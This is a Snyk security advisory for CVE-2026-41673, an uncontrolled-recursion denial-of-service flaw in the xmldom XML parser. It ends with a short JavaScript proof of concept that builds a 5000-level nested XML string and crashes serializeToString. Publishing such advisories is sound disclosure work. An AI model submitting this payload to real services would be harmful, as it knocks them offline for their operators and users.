Uncontrolled Recursion Affecting xmldom package, versions *
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-XMLDOM-16134529
- published23 Apr 2026
- disclosed22 Apr 2026
- creditJvr2022, praveen-kv, KarimTantawey
Introduced: 22 Apr 2026
CVE-2026-41673 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to Uncontrolled Recursion in the recursive processing of deeply nested XML documents by several DOM-related operations, including normalize, serializeToString, getElementsByTagName, getElementsByTagNameNS, getElementsByClassName, getElementById, cloneNode, importNode, textContent, and isEqualNode. An attacker can cause the application to crash or become unresponsive by submitting a valid, deeply nested XML payload that triggers uncontrolled recursion and stack exhaustion.
PoC
const { DOMParser, XMLSerializer } = require('@xmldom/xmldom');
const depth = 5000;
const xml = '<a>'.repeat(depth) + '</a>'.repeat(depth);
const doc = new DOMParser().parseFromString(xml, 'text/xml');
new XMLSerializer().serializeToString(doc);
// RangeError: Maximum call stack size exceeded